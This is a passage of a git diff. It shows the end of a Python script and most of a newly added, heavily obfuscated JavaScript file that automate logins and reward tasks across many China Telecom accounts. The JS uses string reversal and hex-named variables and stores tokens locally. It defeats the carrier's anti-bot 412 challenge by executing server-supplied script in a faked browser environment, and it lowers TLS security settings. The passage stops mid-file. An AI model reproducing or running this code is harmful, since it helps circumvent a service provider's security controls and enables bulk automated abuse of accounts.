AI_Yun1(phone_info.split('#')[0], ticket) # 使用#分割后的手机号 + await dxTask(phone_info.split('#')[0], ticket, phoneV) # 使用#分割后的手机号 + + for index, phoneV in enumerate(phone_list, start=1): + print(f"正在处理任务 {index}/{total_tasks}") + + # 使用#分割手机号和密码 + if '#' not in phoneV: + print('账号格式错误,应为: 手机号#服务密码') + continue + + phone, password = phoneV.split('#') + if not phone.isdigit() or len(phone) != 11: + print(f'手机号格式错误: {phone}') + continue + + if not password.isdigit() or len(password) != 6: + print(f'服务密码格式错误: {password},应为6位数字') + continue + + ticket = False + + if phone in load_token: + print(f'\n{phone} 使用缓存登录') + ticket = get_ticket(phone, load_token[phone]['userId'], load_token[phone]['token']) + + if not ticket: + print(f'\n{phone} 使用密码登录') + ticket = userLoginNormal(phone, password) + + if ticket: + tasks.append(asyncio.create_task(wrapped_task(phoneV, ticket, load_token[phone]))) + await asyncio.sleep(1) + else: + print(f'\n{phone} 登录失败') + try: + await asyncio.gather(*tasks, return_exceptions=True) + if all_results: + df = pd.DataFrame(all_results) + pd.set_option('display.max_colwidth', 30) + from tabulate import tabulate + stats_df = df.groupby('phone').agg({ + 'status': lambda x: f"成功:{len([s for s in x if s=='✓'])} 失败:{len([s for s in x if s=='✗'])}" + }).reset_index() + stats_df.columns = ['手机号', '统计结果'] + + print("\n执行结果:") + print(tabulate(df, headers='keys', tablefmt='grid', showindex=False)) + + print("\n统计结果:") + print(tabulate(stats_df, headers='keys', tablefmt='grid', showindex=False)) + + except Exception as e: + print(f"任务执行出错: {str(e)}") + + + + +WELFARE_CODE=os.environ.get('dx_kl') or "心有灵犀,绑定福利,事事如意,2025加油,草长莺飞,888,年末狂欢,年末回馈" +WELFARE_CODES = WELFARE_CODE.split(',') + +# 处理账号字符串,移除空行并清理每行的空白字符 +phone_list = [line.strip() for line in chinaTelecomAccount.split('\n') if line.strip()] + +PHONES = os.environ.get('chinaTelecomAccount') or os.environ.get('PHONES1') or '\n'.join(phone_list) + +if __name__ == "__main__": + pd.set_option('display.max_columns', None) + pd.set_option('display.width', None) + pd.set_option('display.max_colwidth', None) + + global timeValue, timeDiff + # print("开始等待场次时间:") + h = datetime.datetime.now().hour + # print("当前小时为: " + str(h)) + random_m = random.randint(1, 59) + wttime = ttt(1, 59, 1) + if 1 + 1 == 12: + isTRUE = True + else: + isTRUE = False + + if wttime > time.time(): + wTime = wttime - time.time() + print("未到时间,计算后差异:" + str(wTime) + "秒") + if isTRUE: + time.sleep(wTime) + print("开始抢购") + + asyncio.run(main(isTRUE)) + + diff --git a/电信豆豆.js b/电信豆豆.js new file mode 100644 index 0000000..52075ab --- /dev/null +++ b/电信豆豆.js @@ -0,0 +1,2576 @@ +// 非青龙下在文件开头添加账号配置, +//process.env.chinaTelecomAccount = ` +//13454545457#123456 +//13454545457#456789 +//`.trim(); + +//变量:chinaTelecomAccount +//变量格式: 手机号#服务密码 +//多号创建多个变量或者换行、&隔开 + + +(function (_0x1398c0) { + process.env.NODE_OPTIONS = "--max-old-space-size=4096 --openssl-legacy-provider"; + process.env.NODE_OPTIONS += " --tls-cipher-list=DEFAULT@SECLEVEL=0"; + const { + "DOMParser": _0x3f8ba3 + } = require("xmldom"); + delete __filename; + delete __dirname; + var _0x3b0b0e = new _0x3f8ba3({ + "locator": {}, + "errorHandler": { + "warning": function (_0x43074f) {}, + "error": function (_0x4b694d) {}, + "fatalError": function (_0x5172b4) {} + } + }); + _0x1398c0 = 7; + const _0x1a907b = _0xf189dd("电信营业厅"), + _0x221366 = require("got"), + _0x7c8459 = require("path"), + { + "exec": _0x1a8673 + } = require("child_process"), + _0x4c9506 = require("fs"), + _0x150775 = require("crypto-js"), + _0xd3111e = "moceleTanihc".split("").reverse().join(""), + _0xed67c1 = new RegExp("[\\n\\&\\@]", ""), + _0x5dcb01 = [_0xd3111e + "Account"], + _0x18914c = 30000, + _0x80a14f = 3, + _0x1104ee = _0xd3111e + "cpR".split("").reverse().join(""), + _0x51e8a6 = process.env[_0x1104ee], + _0x2a1f65 = 6.02, + _0x26154c = "moceleTanihc".split("").reverse().join(""), + _0x14c4e5 = "https://leafxcy.coding.net/api/user/leafxcy/project/validcode/shared-depot/validCode/git/blob/master/code.json", + _0x4b73f5 = "JinDouMall"; + let _0x4f8ac1 = {}; + const _0x15d9a8 = "./chinaTelecom_cache.json", + _0x932305 = "Mozilla/5.0 (Linux; U; Android 12; zh-cn; ONEPLUS A9000 Build/QKQ1.190716.003) AppleWebKit/533.1 (KHTML, like Gecko) Version/5.0 Mobile Safari/533.1", + _0x49b65a = "34d7cb0bcdf07523", + _0x53d03f = "swedrftghyuiok09`7654321".split("").reverse().join(""), + _0x36ee2c = "\0\0\0\0\0\0\0\0", + _0x5d0e03 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB", + _0x5de718 = "\n-----YEK CILBUP NIGEB-----".split("").reverse().join("") + _0x5d0e03 + "\n-----END PUBLIC KEY-----", + _0xe715f9 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB", + _0x35f8a5 = "-----BEGIN PUBLIC KEY-----\n" + _0xe715f9 + "\n-----END PUBLIC KEY-----", + _0x23ffb7 = "BAQADIwry6othbBwEfpYLPbk3Boa5/NunPU8NsXm0ZtqES1tZyzMKA+K6quE36W8o59OoqJpolcJAEKLX5Hcezws1DEhbiNzMAYiOIKHJPsUxI4HSal98qQKlqmyFZwvEWmcplcy+8C6UbEcd/BJ4TyvEkYsSE+xrvFplTs4p6sjtHOPIDQgBKQiBCDANG4AAUQABEQD3bISGqSCG0AMfGIM".split("").reverse().join(""), + _0x5bd516 = "-----BEGIN PUBLIC KEY-----\n" + _0x23ffb7 + "\n-----END PUBLIC KEY-----", + _0x53ed7d = require("node-rsa"); + let _0x253d66 = new _0x53ed7d(_0x5de718); + const _0x9eb7bd = { + "encryptionScheme": "pkcs1" + }; + _0x253d66.setOptions(_0x9eb7bd); + let _0x40e903 = new _0x53ed7d(_0x35f8a5); + const _0x370ad7 = { + "encryptionScheme": "pkcs1" + }; + _0x40e903.setOptions(_0x370ad7); + let _0x30d16a = new _0x53ed7d(_0x5bd516); + const _0x4f845c = { + "encryptionScheme": "pkcs1" + }; + _0x30d16a.setOptions(_0x4f845c); + const _0x59860f = [202201, 202202, 202203], + _0x503087 = 5; + function _0x164663(_0x4a6465, _0x375482, _0x35afe0, _0xa2a707, _0x136543, _0x13f587) { + return _0x150775[_0x4a6465].encrypt(_0x150775.enc.Utf8.parse(_0xa2a707), _0x150775.enc.Utf8.parse(_0x136543), { + "mode": _0x150775.mode[_0x375482], + "padding": _0x150775.pad[_0x35afe0], + "iv": _0x150775.enc.Utf8.parse(_0x13f587) + }).ciphertext.toString(_0x150775.enc.Hex); + } + function _0x134cec(_0x26c7d5, _0x463040, _0x4a6336, _0x35c8a7, _0x199ce3, _0x423a3f) { + return _0x150775[_0x26c7d5].decrypt({ + "ciphertext": _0x150775.enc.Hex.parse(_0x35c8a7) + }, _0x150775.enc.Utf8.parse(_0x199ce3), { + "mode": _0x150775.mode[_0x463040], + "padding": _0x150775.pad[_0x4a6336], + "iv": _0x150775.enc.Utf8.parse(_0x423a3f) + }).toString(_0x150775.enc.Utf8); + } + function _0x592882() { + try { + _0x4c9506.writeFileSync(_0x15d9a8, JSON.stringify(_0x4f8ac1, null, 4), "8-ftu".split("").reverse().join("")); + } catch (_0x3fef2f) { + console.log("错出存缓存保".split("").reverse().join("")); + } + } + function _0x5c3daa() { + try { + _0x4f8ac1 = JSON.parse(_0x4c9506.readFileSync(_0x15d9a8, "8-ftu".split("").reverse().join(""))); + } catch (_0x149e2f) { + console.log("存缓nekot个一建新 ,错出存缓取读".split("").reverse().join("")); + _0x592882(); + } + } + let _0x1ae409 = 0, + _0x2668bb = 0; + function _0xebac22() { + { + _0x2668bb = 1; + process.on("SIGTERM", () => { + _0x2668bb = 2; + process.exit(0); + }); + const _0x1990e8 = _0x7c8459.basename(process.argv[1]), + _0x45daf2 = ["bash", "timeout", "grep"]; + let _0x2275af = ["ps afx"]; + _0x2275af.push("grep " + _0x1990e8); + _0x2275af = _0x2275af.concat(_0x45daf2.map(_0x24fde1 => "grep -v \"" + _0x24fde1 + "\" ".split("").reverse().join(""))); + _0x2275af.push("l- cw".split("").reverse().join("")); + const _0x1fce35 = _0x2275af.join("|"), + _0x290fca = () => { + _0x1a8673(_0x1fce35, (_0x2a6abb, _0x1d3b15, _0x2bdb23) => { + if (_0x2a6abb || _0x2bdb23) { + return; + } + _0x1ae409 = parseInt(_0x1d3b15.trim(), 10); + }); + _0x2668bb == 1 && setTimeout(_0x290fca, 2000); + }; + _0x290fca(); + } + } + class _0x252e78 { + constructor() { + this.index = _0x1a907b.userIdx++; + this.name = ""; + this.valid = false; + const _0x4c8c9 = { + "limit": 0 + }, + _0x220c3a = { + "Connection": "keep-alive" + }, + _0xc0d89d = { + "retry": _0x4c8c9, + "timeout": _0x18914c, + "followRedirect": false, + "ignoreInvalidCookies": true, + "headers": _0x220c3a + }; + this.got = _0x221366.extend(_0xc0d89d); + _0x2668bb == 0 && _0xebac22(); + } + ["log"](_0x1b8189, _0x9c4426 = {}) { + var _0x1ac632 = "", + _0xad7cd9 = _0x1a907b.userCount.toString().length; + this.index && (_0x1ac632 += "[号账".split("").reverse().join("") + _0x1a907b.padStr(this.index, _0xad7cd9) + "]"); + this.name && (_0x1ac632 += "[" + this.name.slice(0, 3) + "****".split("").reverse().join("") + this.name.slice(-4) + "]"); + _0x1a907b.log(_0x1ac632 + _0x1b8189, _0x9c4426); + } + ["get_rscode"](_0x4681d6, _0x41b5cd, _0x4ecab9, _0x1ff39b) { + let _0x138011, + _0x17a8be = "\n null_function = function () {}\n content=\"" + _0x4681d6 + "\";\n tsID=\"" + _0x1ff39b + "\"\n delete __dirname \n delete __filename \n ActiveXObject = undefined;\n \n Window = null_function\n window = self = parent = top = globalThis;\n addEventListener = null_function\n \n attachEvent = null_function\n navigator = {userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36'}\n HTMLCollection = []\n HTMLCollection.length = 0\n div = {\n getElementsByTagName() {\n return HTMLCollection\n },\n innerHTML: '',\n \n }\n getAttribute = function () {\n if (arguments[0] == 'r') {\n return 'm'\n }\n }\n meta = {\n content: \"text/html; charset=utf-8\",\n http_Equiv: \"Content-Type\",\n id:tsID,\n getAttribute: function (arg) {\n if (arg === 'r') {\n return 'm'\n }\n },\n parentNode: {\n removeChild: function () {}\n }\n }\n getElementsByTagNameObj = {}\n metav={\n id:tsID,\n content:content,\n r:\"m\",\n getAttribute: function (arg) {\n if (arg === 'r') {\n return 'm'\n }\n },\n parentNode: {\n removeChild: null_function\n }\n }\n \n documentElement = {\n addEventListener: addEventListener\n }\n document = {\n characterSet: 'UTF-8',\n charset: 'UTF-8',\n createElement() {\n if (arguments[0] === 'div') {\n return div\n }\n return {}\n },\n getElementsByTagName: function (arg) {\n if (arg === 'script') {\n return {}\n }\n if (arg === 'base') {\n return {length: 0}\n }\n },\n documentElement: documentElement,\n addEventListener: addEventListener,\n attachEvent: attachEvent,\n getElementById: function () {\n if (arguments[0] === tsID) {\n return metav\n }\n if (arguments[0] == 'root-hammerhead-shadow-ui') {\n return null\n }\n return {}\n },\n appendChild:null_function,\n removeChild: null_function\n }\n location={\n \"href\": \"https://\",\n \"origin\": \"\",\n \"protocol\": \"\",\n \"host\": \"\",\n \"hostname\": \"\",\n \"port\": \"\",\n \"pathname\": \"\",\n \"search\": \"\",\n \"hash\": \"\"\n }\n //setTimeout = null_function\n setInterval = null_function\n " + _0x41b5cd + "\n " + _0x4ecab9 + "\n function getck() {\n return document.cookie\n }\n return {getck};\n "; + _0x138011 = 13; + const _0x16483e = new Function(_0x17a8be), + _0x26187b = _0x16483e(); + var _0x16bc4c = 14; + const _0x5b8c01 = _0x26187b.getck(); + _0x16bc4c = 10; + this.rsFun = _0x16483e; + this.getrsCk = _0x5b8c01; + return _0x16483e; + } + async ["parseCookies"](_0x1ece13, _0x3c1e28) { + { + let _0x4cba26 = {}, + _0x2ea51f = _0x1ece13.split(";"); + _0x2ea51f.forEach(_0x167de8 => { + _0x167de8 = _0x167de8.trim(); + if (_0x167de8.includes("=")) { + let [_0x15b1dc, _0x59adc6] = _0x167de8.split("=", 2); + !_0x15b1dc.toLowerCase().includes("path") && !_0x15b1dc.toLowerCase().includes("seripxe".split("").reverse().join("")) && !_0x15b1dc.toLowerCase().includes("eruces".split("").reverse().join("")) && !_0x15b1dc.toLowerCase().includes("etisemas".split("").reverse().join("")) && (_0x4cba26[_0x15b1dc] = _0x59adc6); + } + }); + if (_0x3c1e28) { + _0x4cba26.yiUIIlbdQT3fO = _0x3c1e28.split("=")[1]; + } + return _0x4cba26; + } + } + async ["request"](_0x190a2b) { + { + let _0x25513b = _0x190a2b?.["ckvalue"] || ""; + const _0xb9ee29 = ["ECONNRESET", "EADDRINUSE", "DNUOFTONE".split("").reverse().join(""), "EAI_AGAIN"], + _0x268e93 = ["TimeoutError"], + _0x45beb9 = ["EPROTO"], + _0x53d45c = []; + var _0x1983cd = null, + _0x3192a9 = 0, + _0x4dd0e7 = _0x190a2b.fn || _0x190a2b.url; + let _0x4a98af = _0x1a907b.get(_0x190a2b, "valid_code", _0x53d45c); + _0x190a2b.method = _0x190a2b?.["dohtem".split("").reverse().join("")]?.["esaCreppUot".split("").reverse().join("")]() || "TEG".split("").reverse().join(""); + _0x190a2b?.["ckvalue"] && (_0x190a2b.headers = _0x190a2b?.["headers"] || { + "Cookie": "=Pf3TQdblIIUiy".split("").reverse().join("") + (_0x25513b.yiUIIlbdQT3fP || "") + "; yiUIIlbdQT3fO=" + (_0x25513b.yiUIIlbdQT3fO || "") + }); + let _0x16d92d, _0x3dc0a8; + while (_0x3192a9 < _0x80a14f) { + try { + { + _0x3192a9++; + _0x16d92d = ""; + _0x3dc0a8 = ""; + let _0x194be3 = null, + _0x34816a = _0x190a2b?.["tuoemit".split("").reverse().join("")] || this.got?.["stluafed".split("").reverse().join("")]?.["options"]?.["timeout"]?.["request"] || _0x18914c, + _0x247d00 = false, + _0x57a0dd = Math.max(this.index - 2, 0), + _0x118618 = Math.min(Math.max(this.index - 3, 1), 3), + _0x5e0eab = Math.min(Math.max(this.index - 4, 1), 4), + _0x5003fd = _0x57a0dd * _0x118618 * _0x5e0eab * 400, + _0x177928 = _0x57a0dd * _0x118618 * _0x5e0eab * 1800, + _0x31d3fb = _0x5003fd + Math.floor(Math.random() * _0x177928), + _0x5845c2 = _0x1ae409 * (_0x1ae409 - 1) * 2000, + _0x2396f5 = (_0x1ae409 - 1) * (_0x1ae409 - 1) * 2000, + _0x5da990 = _0x5845c2 + Math.floor(Math.random() * _0x2396f5), + _0x4d75f1 = Math.max(_0x1a907b.userCount - 2, 0), + _0x529ee2 = Math.max(_0x1a907b.userCount - 3, 0), + _0x43dcc1 = _0x4d75f1 * 200, + _0x5873a4 = _0x529ee2 * 400, + _0x3a27f6 = _0x43dcc1 + Math.floor(Math.random() * _0x5873a4), + _0x2473ec = _0x31d3fb + _0x5da990 + _0x3a27f6; + await new Promise(async _0x1e79c1 => { + { + setTimeout(() => { + _0x247d00 = true; + _0x1e79c1(); + }, _0x34816a); + var _0x22e3f1 = 9; + let _0xd1fef1 = _0x1e79c1?.["ckvalue"] || ""; + _0x22e3f1 = 17; + _0x190a2b?.["ckvalue"] && (_0x190a2b.headers = _0x190a2b?.["sredaeh".split("").reverse().join("")] || { + "Cookie": "=Pf3TQdblIIUiy".split("").reverse().join("") + (_0xd1fef1.yiUIIlbdQT3fP || "") + "; yiUIIlbdQT3fO=" + (_0xd1fef1.yiUIIlbdQT3fO || "") + }); + try { + var _0x301943 = 17; + const _0x51b7d4 = await this.got(_0x190a2b); + _0x301943 = "gcepbq".split("").reverse().join(""); + _0x1983cd = _0x51b7d4; + } catch (_0x154715) { + if (_0x154715.response?.["statusCode"] == 412) { + { + const { + "contentCODE": _0x5516eb, + "tsCODE": _0x47e590, + "srcAttribute": _0x4b6a23, + "tsID": _0x3373ed + } = _0x1a907b.get(_0x154715, "resoultCode", _0x154715.response?.["statusCode"]); + var _0x2812fb = 4; + const _0x5e923a = { + "fn": "getrs", + "method": "get", + "url": "https://wappark.189.cn" + _0x4b6a23 + }; + _0x2812fb = 9; + let { + "result": _0x3ebf1f, + "statusCode": _0x2ead5e + } = await this.request(_0x5e923a); + var _0x376a46 = 6; + let _0x2ec177 = ""; + _0x376a46 = 11; + if (_0x154715.response && _0x154715.response.headers) { + var _0x594dfa = 10; + const _0x5cc77d = _0x154715.response.headers["set-cookie"]; + _0x594dfa = 13; + Array.isArray(_0x5cc77d) && (_0x2ec177 = _0x5cc77d.map(_0x259e52 => _0x259e52.split(";")[0]).join("; ")); + } + this.get_rscode(_0x5516eb, _0x47e590, _0x3ebf1f, _0x3373ed); + var _0x3471a2 = 6; + let _0x411b9a = this.getrsCk; + _0x3471a2 = "chleng".split("").reverse().join(""); + _0x411b9a = this.rsFun().getck(); + _0xd1fef1 = await this.parseCookies(_0x411b9a, _0x2ec177); + if (_0xd1fef1) { + { + _0x190a2b.headers = { + "Cookie": "yiUIIlbdQT3fP=" + (_0xd1fef1.yiUIIlbdQT3fP || "") + "=Of3TQdblIIUiy ;".split("").reverse().join("") + (_0xd1fef1.yiUIIlbdQT3fO || "") + }; + try { + let _0x1a0f23; + const _0x16f9e8 = await this.got(_0x190a2b); + _0x1a0f23 = 4; + _0x1983cd = _0x16f9e8; + } catch (_0x21ba32) { + _0x194be3 = _0x21ba32; + _0x1983cd = _0x21ba32.response; + _0x16d92d = _0x21ba32.response?.["code"] || ""; + _0x3dc0a8 = _0x21ba32.response?.["name"] || ""; + console.log(_0x16d92d, "deliaf yrteR".split("").reverse().join("")); + } + } + } + } + } else _0x194be3 = _0x154715, _0x1983cd = _0x154715.response, _0x16d92d = _0x154715.response?.["code"] || "", _0x3dc0a8 = _0x154715.response?.["name"] || ""; + } + _0x1e79c1(); + } + }); + if (_0x247d00) this.log("[" + _0x4dd0e7 + "(时超求请]".split("").reverse().join("") + _0x34816a / 1000 + "第试重,)秒".split("").reverse().join("") + _0x3192a9 + "次");else { + if (_0x45beb9.includes(_0x16d92d)) { + this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "[]".split("").reverse().join("") + _0x3dc0a8 + "]"); + _0x194be3?.["message"] && console.log(_0x194be3.message); + break; + } else { + if (_0x268e93.includes(_0x3dc0a8)) this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "第试重,]".split("").reverse().join("") + _0x3192a9 + "次");else { + if (_0xb9ee29.includes(_0x16d92d)) this.log("[" + _0x4dd0e7 + "[误错求请]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "],重试第" + _0x3192a9 + "次");else { + { + if (_0x1983cd?.["edoCsutats".split("").reverse().join("")] == 412) break; + let _0x1ebbf7 = _0x1983cd?.["edoCsutats".split("").reverse().join("")] || "", + _0x359dc7 = _0x1ebbf7 / 100 | 0; + if (_0x1ebbf7) { + _0x359dc7 > 3 && !_0x4a98af.includes(_0x1ebbf7) && (_0x1ebbf7 ? this.log("[求请".split("").reverse().join("") + _0x4dd0e7 + "]返回[" + _0x1ebbf7 + "]") : this.log("请求[" + _0x4dd0e7 + "[误错]".split("").reverse().join("") + _0x16d92d + "][" + _0x3dc0a8 + "]")); + if (_0x359dc7 <= 4) break; + } else this.log("请求[" + _0x4dd0e7 + "]错误[" + _0x16d92d + "][" + _0x3dc0a8 + "]"); + } + } + } + } + } + } + } catch (_0x1b27b0) { + _0x1b27b0.name == "rorrEtuoemiT".split("").reverse().join("") ? this.log("[" + _0x4dd0e7 + "第试重,时超求请]".split("").reverse().join("") + _0x3192a9 + "次") : this.log("[" + _0x4dd0e7 + "(误错求请]".split("").reverse().join("") + _0x1b27b0.message + "第试重,)".split("").reverse().join("") + _0x3192a9 + "次"); + } + } + const _0x5c5b0c = { + "statusCode": _0x16d92d || -1, + "headers": null, + "result": null + }; + if (_0x1983cd == null) return Promise.resolve(_0x5c5b0c); + let { + "statusCode": _0x253af7, + "headers": _0x40c367, + "body": _0x2369c1 + } = _0x1983cd; + if (_0x2369c1) try { + _0x2369c1 = JSON.parse(_0x2369c1); + } catch {} + const _0x2fc606 = { + "statusCode": _0x253af7, + "headers": _0x40c367, + "result": _0x2369c1 + }; + return Promise.resolve(_0x2fc606); + } + } + } + let _0x2ecb9a = _0x252e78; + try { + let _0x345d48 = require("./LocalBasic"); + _0x2ecb9a = _0x345d48; + } catch {} + let _0x42ec34 = new _0x2ecb9a(_0x1a907b); + class _0x173a90 extends _0x2ecb9a { + constructor(_0x8df40d) { + { + super(_0x1a907b); + let _0x547fe0 = _0x8df40d.split("#"); + this.name = _0x547fe0[0]; + this.passwd = _0x547fe0?.[1] || ""; + this.uuid = [_0x1a907b.randomPattern("xxxxxxxx"), _0x1a907b.randomPattern("xxxx"), _0x1a907b.randomPattern("xxx4".split("").reverse().join("")), _0x1a907b.randomPattern("xxxx"), _0x1a907b.randomPattern("xxxxxxxxxxxx".split("").reverse().join(""))]; + this.can_feed = true; + this.jml_tokenFlag = ""; + this.mall_token = ""; + const _0x25e486 = { + "Connection": "keep-alive", + "User-Agent": _0x932305, + "123456789": "987654321" + }; + } + } + ["load_token"]() { + { + let _0x40ebac = false; + _0x4f8ac1[this.name] && (this.userId = _0x4f8ac1[this.name].userId, this.token = _0x4f8ac1[this.name].token, this.log("nekot存缓到取读".split("").reverse().join("")), _0x40ebac = true); + return _0x40ebac; + } + } + ["encode_phone"]() { + let _0x5c8413 = this.name.split(""); + for (let _0x4fd72e in _0x5c8413) { + _0x5c8413[_0x4fd72e] = String.fromCharCode(_0x5c8413[_0x4fd72e].charCodeAt(0) + 2); + } + return _0x5c8413.join(""); + } + ["encode_aes"](_0x3613e9) { + return _0x164663("SEA".split("").reverse().join(""), "ECB", "Pkcs7", _0x3613e9, _0x49b65a, 0); + } + ["get_mall_headers"]() { + return { + "Content-Type": "application/json;charset=utf-8", + "Accept": "application/json, text/javascript, */*; q=0.01", + "Authorization": this.mall_token ? "Bearer " + this.mall_token : "", + "X-Requested-With": "XMLHttpRequest" + }; + } + async ["rsCk"](_0x17c90e, _0x2ba627) { + { + const _0x240960 = await rs(_0x17c90e, _0x2ba627); + console.log(_0x240960); + } + } + async ["login"](_0x5d1438 = {}) { + { + let _0x440c66 = false; + try { + let _0x57e9cb = _0x1a907b.time("yyyyMMddhhmmss"), + _0x1d01a9 = "iPhone 14 15.4." + this.uuid.slice(0, 2).join("") + this.name + _0x57e9cb + this.passwd + "0$$$0.", + _0x2f95b7 = { + "fn": "login", + "method": "post", + "url": "https://appgologin.189.cn:9031/login/client/userLoginNormal", + "json": { + "headerInfos": { + "code": "userLoginNormal", + "timestamp": _0x57e9cb, + "broadAccount": "", + "broadToken": "", + "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", + "shopId": "20002", + "source": "110003", + "sourcePassword": "Sid98s", + "token": "", + "userLoginName": this.name + }, + "content": { + "attach": "test", + "fieldData": { + "loginType": "4", + "accountType": "", + "loginAuthCipherAsymmertric": _0x253d66.encrypt(_0x1d01a9, "46esab".split("").reverse().join("")), + "deviceUid": this.uuid.slice(0, 3).join(""), + "phoneNum": this.encode_phone(), + "isChinatelecom": "0", + "systemVersion": "15.4.0", + "authentication": this.passwd + } + } + } + }, + { + "result": _0x544bd4, + "statusCode": _0x16ceb3 + } = await this.request(_0x2f95b7), + _0x166f37 = _0x1a907b.get(_0x544bd4?.["ataDesnopser".split("").reverse().join("")], "resultCode", -1); + if (_0x166f37 == "0000") { + { + let { + "userId": _0x3484c5 = "", + "token": _0x249f1a = "" + } = _0x544bd4?.["ataDesnopser".split("").reverse().join("")]?.["data"]?.["loginSuccessResult"] || {}; + this.userId = _0x3484c5; + this.token = _0x249f1a; + this.log("功成录登码密务服用使".split("").reverse().join("")); + _0x4f8ac1[this.name] = { + "token": _0x249f1a, + "userId": _0x3484c5, + "t": Date.now() + }; + _0x592882(); + _0x440c66 = true; + } + } else { + { + let _0x5807dc = _0x544bd4?.["gsm".split("").reverse().join("")] || _0x544bd4?.["responseData"]?.["cseDtluser".split("").reverse().join("")] || _0x544bd4?.["headerInfos"]?.["nosaer".split("").reverse().join("")] || ""; + this.log("服务密码登录失败[" + _0x166f37 + " :]".split("").reverse().join("") + _0x5807dc); + } + } + } catch (_0x143d05) { + console.log(_0x143d05); + } finally { + return _0x440c66; + } + } + } + async ["get_ticket"](_0x3407e5 = {}) { + let _0x3dbd0c = ""; + try { + { + let _0x44f191 = "\n \n \n getSingle\n " + _0x1a907b.time("yyyyMMddhhmmss") + ">nekoT< \n>drowssaPecruoS/drowssaPecruoS< \n>ecruoS/<300011>ecruoS< \n>dIpohS/<20002>dIpohS< \n>epyTtneilC/<#xaM orP 41 enohPi#05lennahc#1.6.9#>epyTtneilC< \n>nekoTdaorB/<>nekoTdaorB< \n>tnuoccAdaorB/<>tnuoccAdaorB< \n>pmatsemiT/<".split("").reverse().join("") + this.token + "\n " + this.name + "\n \n \n test\n \n " + _0x164663("TripleDES", "CBC", "7sckP".split("").reverse().join(""), this.userId, _0x53d03f, _0x36ee2c) + ">tseuqeR/< \n>tnetnoC/< \n>ataDdleiF/< \n>lrU/<154b5384722686a4>lrU< \n>dItegraT/<".split("").reverse().join(""); + const _0x425216 = { + "fn": "get_ticket", + "method": "post", + "url": "https://appgologin.189.cn:9031/map/clientXML", + "body": _0x44f191 + }; + let { + "result": _0x4d1ded, + "statusCode": _0x61cf7a + } = await this.request(_0x425216); + if (_0x4d1ded) { + let _0x1c2c31 = _0x4d1ded.match(new RegExp(">\\tekciT/\\<\\)+w\\(>\\tekciT<\\".split("").reverse().join(""), "")); + if (_0x1c2c31) { + let _0x2b9602 = _0x1c2c31[1]; + _0x3dbd0c = _0x134cec("SEDelpirT".split("").reverse().join(""), "CBC", "Pkcs7", _0x2b9602, _0x53d03f, _0x36ee2c); + this.ticket = _0x3dbd0c; + } + } + !_0x3dbd0c && (!_0x3407e5.retry && (await this.login()) ? (_0x3407e5.retry = true, _0x3dbd0c = await this.get_ticket(_0x3407e5)) : (this.log("没有获取到ticket[" + _0x61cf7a + "]: "), _0x4d1ded && this.log(" :".split("").reverse().join("") + JSON.stringify(_0x4d1ded)))); + } + } catch (_0x47f1aa) { + console.log(_0x47f1aa); + } finally { + return _0x3dbd0c; + } + } + async ["get_sign"](_0x1ed70f = {}) { + var _0x5f50b2 = 12; + let _0x1cb2f1 = this.rsCkk; + _0x5f50b2 = "ejjogf"; + let _0x2d6db1 = false; + try { + const _0xc6d6af = { + "ticket": this.ticket + }, + _0x438f3f = { + "ckvalue": _0x1cb2f1, + "fn": "login", + "method": "get", + "url": "https://wappark.189.cn/jt-sign/ssoHomLogin", + "searchParams": _0xc6d6af + }; + let { + "result": _0x48a0a2, + "statusCode": _0x44aa12 + } = await this.request(_0x438f3f), + _0x22cc7a = _0x1a907b.get(_0x48a0a2, "resoultCode", _0x44aa12); + _0x22cc7a == 0 ? (_0x2d6db1 = _0x48a0a2?.["ngis".split("").reverse().join("")], this.sign = _0x2d6db1, this.got = this.got.extend({ + "headers": { + "sign": this.sign + } + })) : this.log("[败失ngis取获".split("").reverse().join("") + _0x22cc7a + "]: " + _0x48a0a2); + } catch (_0x15ece2) { + console.log(_0x15ece2); + } finally { + return _0x2d6db1; + } + } + async ["get_rsValue"](_0x293dc9 = {}) { + { + let _0x1bf8ad, + _0x494487 = false; + _0x1bf8ad = "dginpe".split("").reverse().join(""); + try { + const _0xc2eba5 = { + "fn": "login", + "method": "get", + "url": _0x293dc9 + }; + let { + "result": _0x10ffd4, + "statusCode": _0x58dbfc, + "headers": _0x45a4fc + } = await this.request(_0xc2eba5); + const { + "contentCODE": _0x32104d, + "tsCODE": _0x204130, + "srcAttribute": _0x34e10d, + "tsID": _0x48a003 + } = _0x1a907b.get(_0x10ffd4, "resoultCode", _0x58dbfc); + var _0x5711e3 = 14; + const _0x4a2e01 = { + "fn": "getrs", + "method": "get", + "url": "https://wappark.189.cn" + _0x34e10d + }; + _0x5711e3 = 8; + let { + "result": _0x117052, + "statusCode": _0x316dce + } = await this.request(_0x4a2e01); + var _0x7c56cc = 3; + let _0x13bf8e = ""; + _0x7c56cc = 0; + if (_0x45a4fc && _0x45a4fc["set-cookie"]) { + const _0x5e227b = _0x45a4fc["set-cookie"]; + Array.isArray(_0x5e227b) && (_0x13bf8e = _0x5e227b.map(_0x13a5c4 => _0x13a5c4.split(";")[0]).join("; ")); + } + this.get_rscode(_0x32104d, _0x204130, _0x117052, _0x48a003); + this.rsCkk = _0x13bf8e; + } catch (_0x127d3f) { + console.log(_0x127d3f); + } finally { + return _0x494487; + } + } + } + async ["get_rs"](_0x95f64d = {}) { + ck = await rs(); + console.log(ck); + } + 